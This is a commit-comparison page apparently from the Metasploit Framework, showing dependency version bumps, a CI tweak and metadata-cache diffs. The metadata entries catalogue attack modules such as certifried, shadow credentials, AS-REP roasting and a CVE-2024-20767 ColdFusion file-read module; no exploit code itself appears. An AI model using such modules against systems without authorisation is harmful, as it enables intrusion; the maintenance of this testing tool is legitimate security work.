Compare commits
172 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 306c66e12e | |||
| a5e2196e70 | |||
| 1fa8256a6d | |||
| f3a8b35060 | |||
| 68f7334348 | |||
| 29c79fb499 | |||
| 0cea2cba75 | |||
| 7cdea94000 | |||
| e693b9588c | |||
| 55cb49c60e | |||
| df32ce2db9 | |||
| 9e4f958af7 | |||
| 3cedb20f75 | |||
| f6e7aacfb5 | |||
| b9c09d7490 | |||
| 9c4849e5bd | |||
| 733c014223 | |||
| 613ec3c9d3 | |||
| b1cd5b3476 | |||
| 4233822965 | |||
| 7ee36ebc29 | |||
| f1ee10f486 | |||
| 102f8d5476 | |||
| 80fdde5fdc | |||
| b28e263a2b | |||
| 948b18b08c | |||
| 2a8b36d432 | |||
| 2bf402fa52 | |||
| bef50de25a | |||
| 66d5e89046 | |||
| 69e35005ee | |||
| cc3fd3bfa0 | |||
| 8dabe17121 | |||
| 942d47bec5 | |||
| c938b10067 | |||
| a999ad49a0 | |||
| 1b9f24204a | |||
| 82ce0a9726 | |||
| 2ea116efea | |||
| 3d044c4241 | |||
| 8c76143a9d | |||
| 0863700f7a | |||
| 88efba7cbb | |||
| 0b9d4654a4 | |||
| 946cc3baf1 | |||
| 5523f13394 | |||
| cec01fb2c8 | |||
| 47c8d7252b | |||
| fb62edbcb1 | |||
| b044bcab01 | |||
| 5653ea5dfb | |||
| 9ee3cfd057 | |||
| 69d603e6fc | |||
| a0487348e5 | |||
| 4c84f8830f | |||
| 69cbddde92 | |||
| a9960a506c | |||
| 860da5f2b4 | |||
| 6547fdb4c4 | |||
| bb473f4004 | |||
| c382066be8 | |||
| e3d7dce4a9 | |||
| 7f433bfadb | |||
| 6c91ca37b6 | |||
| 168eb9e14d | |||
| 9e8fe15e48 | |||
| fd10f4d295 | |||
| d105ae10ff | |||
| 4c7f1e6520 | |||
| bd767a9279 | |||
| 1bf721b9d5 | |||
| 5e1dc05f09 | |||
| ca669d8f08 | |||
| c2bf9ead06 | |||
| 2cb0e44740 | |||
| 2dce73833f | |||
| 59a3839be8 | |||
| a98554a1f4 | |||
| 67dc01f124 | |||
| fef9024c5a | |||
| 27dd14bb64 | |||
| 6849e909d0 | |||
| 91be90c43e | |||
| 52001bf7d4 | |||
| 9079ce331b | |||
| de82fdac50 | |||
| 8b1b940f7c | |||
| 5765fe8197 | |||
| e19ae7c3d1 | |||
| 4e81de2968 | |||
| d7b63679c9 | |||
| d6b45658e0 | |||
| 434186200a | |||
| 6055d8a005 | |||
| 742326ae90 | |||
| d94971598b | |||
| 8a08f6a083 | |||
| 6c74d14bb7 | |||
| 53ac5118cd | |||
| 15a9b59ccf | |||
| b51d1b9017 | |||
| 518aafb1f1 | |||
| 364d491af7 | |||
| 02c31159ab | |||
| f5f1deaf5b | |||
| 3b57fbf052 | |||
| 429eaff5ca | |||
| 7dabfb15be | |||
| ca9c60badb | |||
| 81aa572e15 | |||
| 852f888cc8 | |||
| 5adc91b7d5 | |||
| 4f6e2bcd22 | |||
| 4794844b67 | |||
| 1294ed0bbb | |||
| c0e589dcf4 | |||
| bf240b7e43 | |||
| a6cf1cd414 | |||
| 7e2e3eeab3 | |||
| 1c8a4706d7 | |||
| cf6d324832 | |||
| aef3cc546b | |||
| 76d7fe8dbd | |||
| cd40f95f05 | |||
| c1e5c7a8bf | |||
| d6317923f6 | |||
| b607c70611 | |||
| 04c5d8b924 | |||
| d8c7a26565 | |||
| d0a714d1e8 | |||
| ae091bf17d | |||
| 6fd8c8b903 | |||
| 3897b49ca6 | |||
| 6d915dbb55 | |||
| 631e4e34db | |||
| 68966b86f1 | |||
| ec44cb1e2e | |||
| a4b3c27e28 | |||
| b5f4dfae71 | |||
| 9aead31bb9 | |||
| ecb70eeb8c | |||
| f8f7eb919f | |||
| 1c8c91096f | |||
| 361fe34167 | |||
| bee5306ac9 | |||
| a36244073f | |||
| c10bde97ff | |||
| a3e3eb9e44 | |||
| eefa762c15 | |||
| 837e503170 | |||
| a008288e05 | |||
| eec72b8f54 | |||
| 409f0e45a6 | |||
| 4026141809 | |||
| 1129e443c2 | |||
| 9a88ca33e0 | |||
| b55c5f45c0 | |||
| 1a8233dfe7 | |||
| e32d05eab8 | |||
| cbbb6cbda4 | |||
| 82b8556c78 | |||
| cc4fa7cd39 | |||
| 4efad9eb24 | |||
| 4585ec0336 | |||
| 5f4c17edbf | |||
| 5314902e74 | |||
| 12833fd0d5 | |||
| 468265e815 | |||
| 9301e29a6e | |||
| cf0477138d | |||
| 2d683954de | |||
| f947e6a438 |
@@ -72,7 +72,8 @@ jobs:
|
||||
include:
|
||||
# Windows Meterpreter
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
# Temporarily required for failing pcaprub compilation:
|
||||
# - { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
|
||||
# Mettle
|
||||
- { meterpreter: { name: mettle }, os: macos-11 }
|
||||
|
||||
+5
-5
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.6)
|
||||
metasploit-framework (6.4.9)
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
@@ -333,7 +333,7 @@ GEM
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pcaprub (0.13.2)
|
||||
pdf-reader (2.12.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
@@ -391,7 +391,7 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.31)
|
||||
rex-core (0.1.32)
|
||||
rex-encoder (0.1.7)
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -475,7 +475,7 @@ GEM
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.3.5)
|
||||
ruby_smb (3.3.7)
|
||||
bindata (= 2.4.15)
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -520,7 +520,7 @@ GEM
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.9.1)
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.5.0)
|
||||
unix-crypt (1.3.1)
|
||||
uuid (2.3.9)
|
||||
|
||||
+79
-78
@@ -1,58 +1,59 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 7.0.8, MIT
|
||||
actionview, 7.0.8, MIT
|
||||
activemodel, 7.0.8, MIT
|
||||
activerecord, 7.0.8, MIT
|
||||
activesupport, 7.0.8, MIT
|
||||
addressable, 2.8.5, "Apache 2.0"
|
||||
actionpack, 7.0.8.1, MIT
|
||||
actionview, 7.0.8.1, MIT
|
||||
activemodel, 7.0.8.1, MIT
|
||||
activerecord, 7.0.8.1, MIT
|
||||
activesupport, 7.0.8.1, MIT
|
||||
addressable, 2.8.6, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.23.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.23.0, "Apache 2.0"
|
||||
allure-rspec, 2.24.3, "Apache 2.0"
|
||||
allure-ruby-commons, 2.24.3, "Apache 2.0"
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.834.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.185.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.411.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.34.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.87.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.72.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.136.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.158.0, "Apache 2.0"
|
||||
aws-sigv4, 1.6.0, "Apache 2.0"
|
||||
base64, 0.1.1, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.19, MIT
|
||||
aws-eventstream, 1.3.0, "Apache 2.0"
|
||||
aws-partitions, 1.915.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.192.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.450.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.38.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.96.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.79.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.147.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.166.0, "Apache 2.0"
|
||||
aws-sigv4, 1.8.0, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bigdecimal, 3.1.7, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
bootsnap, 1.18.3, MIT
|
||||
bson, 5.0.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
concurrent-ruby, 1.2.3, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.3.3, "ruby, Simplified BSD"
|
||||
date, 3.3.4, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.70.0, "Apache 2.0"
|
||||
dnsruby, 1.72.1, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
ed25519, 1.3.0, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.2.1, MIT
|
||||
factory_bot, 6.4.6, MIT
|
||||
factory_bot_rails, 6.4.3, MIT
|
||||
faker, 3.3.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.2.0, MIT
|
||||
faraday-retry, 2.2.1, MIT
|
||||
faye-websocket, 0.11.3, "Apache 2.0"
|
||||
ffi, 1.16.3, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
@@ -65,76 +66,76 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.14.1, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
i18n, 1.14.4, MIT
|
||||
io-console, 0.7.2, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
json, 2.7.2, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.21.3, MIT
|
||||
loofah, 2.22.0, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.7, "New BSD"
|
||||
metasploit-framework, 6.4.6, "New BSD"
|
||||
metasploit-credential, 6.0.9, "New BSD"
|
||||
metasploit-framework, 6.4.9, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mime-types, 3.5.1, MIT
|
||||
mime-types-data, 3.2023.1003, MIT
|
||||
mini_portile2, 2.8.4, MIT
|
||||
minitest, 5.20.0, MIT
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.5.2, MIT
|
||||
mime-types-data, 3.2024.0305, MIT
|
||||
mini_portile2, 2.8.6, MIT
|
||||
minitest, 5.22.3, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-imap, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ldap, 0.18.0, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.4.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.0, MIT
|
||||
net-imap, 0.4.10, "ruby, Simplified BSD"
|
||||
net-ldap, 0.19.0, MIT
|
||||
net-protocol, 0.2.2, "ruby, Simplified BSD"
|
||||
net-smtp, 0.5.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.3, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.9, MIT
|
||||
nio4r, 2.7.1, "MIT, Simplified BSD"
|
||||
nokogiri, 1.14.5, MIT
|
||||
nori, 2.6.0, MIT
|
||||
nori, 2.7.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.4, MIT
|
||||
parallel, 1.24.0, MIT
|
||||
parser, 3.3.0.5, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.5.4, "Simplified BSD"
|
||||
pcaprub, 0.13.2, LGPL-2.1
|
||||
pdf-reader, 2.12.0, MIT
|
||||
pg, 1.5.6, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.3, MIT
|
||||
puma, 6.4.0, "New BSD"
|
||||
racc, 1.7.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.8, MIT
|
||||
rack-protection, 3.1.0, MIT
|
||||
public_suffix, 5.0.5, MIT
|
||||
puma, 6.4.2, "New BSD"
|
||||
racc, 1.7.3, "ruby, Simplified BSD"
|
||||
rack, 2.2.9, MIT
|
||||
rack-protection, 3.2.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.8, MIT
|
||||
railties, 7.0.8.1, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rake, 13.2.1, MIT
|
||||
rasn1, 0.13.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.2, unknown
|
||||
recog, 3.1.5, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.8.1, MIT
|
||||
reline, 0.4.1, ruby
|
||||
regexp_parser, 2.9.0, MIT
|
||||
reline, 0.5.2, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.15, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
@@ -160,39 +161,39 @@ rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.0, MIT
|
||||
rspec-expectations, 3.13.0, MIT
|
||||
rspec-mocks, 3.13.0, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec-rails, 6.1.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.13.0, MIT
|
||||
rubocop, 1.56.4, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 4.0.0, MIT
|
||||
rspec-support, 3.13.1, MIT
|
||||
rubocop, 1.63.2, MIT
|
||||
rubocop-ast, 1.31.2, MIT
|
||||
ruby-macho, 4.0.1, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.3.5, "New BSD"
|
||||
ruby_smb, 3.3.7, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.1.0, MIT
|
||||
sinatra, 3.2.0, MIT
|
||||
sqlite3, 1.6.6, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.2.3, MIT
|
||||
test-prof, 1.3.2, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.2.2, MIT
|
||||
thor, 1.3.1, MIT
|
||||
tilt, 2.3.0, MIT
|
||||
timecop, 0.9.8, MIT
|
||||
timeout, 0.4.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
timeout, 0.4.1, "ruby, Simplified BSD"
|
||||
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2023.3, MIT
|
||||
tzinfo-data, 1.2024.1, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.5.0, MIT
|
||||
@@ -208,4 +209,4 @@ winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.36, MIT
|
||||
zeitwerk, 2.6.12, MIT
|
||||
zeitwerk, 2.6.13, MIT
|
||||
|
||||
+544
-100
@@ -771,7 +771,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-03-13 10:31:27 +0000",
|
||||
"mod_time": "2024-04-26 12:33:43 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/cve_2022_26923_certifried",
|
||||
@@ -903,7 +903,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-01 12:00:34 +0000",
|
||||
"mod_time": "2024-04-16 16:43:30 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/samr_computer.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/samr_computer",
|
||||
@@ -6416,7 +6416,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-07 13:28:22 +0000",
|
||||
"mod_time": "2024-05-02 13:57:13 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/ad_cs_cert_template",
|
||||
@@ -6438,7 +6438,9 @@
|
||||
"Certipy"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -6489,7 +6491,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-02-24 13:50:04 +0000",
|
||||
"mod_time": "2024-05-02 13:57:13 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/rbcd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/rbcd",
|
||||
@@ -6507,7 +6509,9 @@
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -6556,7 +6560,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-04-09 07:53:26 +0000",
|
||||
"mod_time": "2024-05-02 13:57:13 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/shadow_credentials.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/shadow_credentials",
|
||||
@@ -6574,7 +6578,9 @@
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -6627,12 +6633,12 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-10-12 19:08:51 +0000",
|
||||
"mod_time": "2024-05-02 13:57:13 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/vmware_vcenter_vmdir_auth_bypass",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
@@ -6646,7 +6652,9 @@
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -6903,7 +6911,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_enum.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_enum",
|
||||
@@ -7104,7 +7112,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-19 10:34:16 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_escalate_dbowner",
|
||||
@@ -7205,7 +7213,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-14 15:26:34 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_escalate_execute_as",
|
||||
@@ -7308,7 +7316,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-27 09:54:38 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_exec",
|
||||
@@ -7364,7 +7372,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_findandsampledata",
|
||||
@@ -7415,7 +7423,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-19 10:34:16 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_idf.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_idf",
|
||||
@@ -7567,7 +7575,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-03-27 09:54:38 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_sql.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_sql",
|
||||
@@ -7618,7 +7626,7 @@
|
||||
"sybase"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-02-19 10:34:16 +0000",
|
||||
"mod_time": "2024-03-05 13:27:00 +0000",
|
||||
"path": "/modules/auxiliary/admin/mssql/mssql_sql_file.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/mssql/mssql_sql_file",
|
||||
@@ -9198,6 +9206,67 @@
|
||||
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/registry_security_descriptor": {
|
||||
"name": "Windows Registry Security Descriptor Utility",
|
||||
"fullname": "auxiliary/admin/registry_security_descriptor",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Christophe De La Fuente"
|
||||
],
|
||||
"description": "Read or write a Windows registry security descriptor remotely.\n\n In READ mode, the `FILE` option can be set to specify where the\n security descriptor should be written to.\n\n The following format is used:\n ```\n key: <registry key>\n security_info: <security information>\n sd: <security descriptor as a hex string>\n ```\n\n In WRITE mode, the `FILE` option can be used to specify the information\n needed to write the security descriptor to the remote registry. The file must\n follow the same format as described above.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 445,
|
||||
"autofilter_ports": [
|
||||
139,
|
||||
445
|
||||
],
|
||||
"autofilter_services": [
|
||||
"netbios-ssn",
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-05-13 12:01:54 +0000",
|
||||
"path": "/modules/auxiliary/admin/registry_security_descriptor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/registry_security_descriptor",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "READ",
|
||||
"description": "Read a Windows registry security descriptor"
|
||||
},
|
||||
{
|
||||
"name": "WRITE",
|
||||
"description": "Write a Windows registry security descriptor"
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/sap/cve_2020_6207_solman_rce": {
|
||||
"name": "SAP Solution Manager remote unauthorized OS commands execution",
|
||||
"fullname": "auxiliary/admin/sap/cve_2020_6207_solman_rce",
|
||||
@@ -19776,7 +19845,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2023-12-01 08:03:32 +0000",
|
||||
"mod_time": "2024-05-02 13:57:13 +0000",
|
||||
"path": "/modules/auxiliary/gather/asrep.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/asrep",
|
||||
@@ -19798,7 +19867,9 @@
|
||||
"asreproast"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
@@ -20616,6 +20687,70 @@
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_gather/coldfusion_pms_servlet_file_read": {
|
||||
"name": "CVE-2024-20767 - Adobe Coldfusion Arbitrary File Read",
|
||||
"fullname": "auxiliary/gather/coldfusion_pms_servlet_file_read",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2024-03-12",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"ma4ter",
|
||||
"yoryio",
|
||||
"Christiaan Beek",
|
||||
"jheysel-r7"
|
||||
],
|
||||
